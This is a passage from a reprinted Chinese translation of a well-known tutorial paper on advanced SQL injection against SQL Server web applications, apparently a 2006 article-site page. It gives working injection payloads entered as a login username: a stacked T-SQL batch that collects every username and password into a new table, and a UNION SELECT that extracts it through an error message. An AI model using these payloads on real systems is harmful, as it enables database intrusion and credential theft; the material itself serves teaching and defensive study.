当前位置:中国站长下载文章中心网页编程.NET编程 → SQL Server应用程序中的高级SQL注入(1)

SQL Server应用程序中的高级SQL注入(1)

减小字体 增大字体 作者:不详  来源:不详  发布时间:2006-8-14 8:31:42
值连接起来:
  begin declare @ret varchar(8000)
  set @ret=':'
  select @ret=@ret+' '+username+'/'+password from users where
  username>@ret
  select @ret as ret into foo
  end
  攻击者使用这个当作用户名登陆(都在一行)
  Username: ''; begin declare @ret varchar(8000) set @ret='':'' select @ret=@ret+'' ''+username+''/''+password from users where username>@ret select @ret as ret into foo end—
  这就创建了一个foo表,里面只有一个单独的列''ret'',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。
  然后攻击者就可以取得我们要得到的字符串:
  Username:'' union select ret,1,1,1 from foo—
  Microsoft OLE DB Provider for ODBC Drivers error ''80040e07''
  
  
    做人要厚道,请注明转自chinazhan中国站长(www.ChinaZhan.com)。

上一页  [1] [2] [3]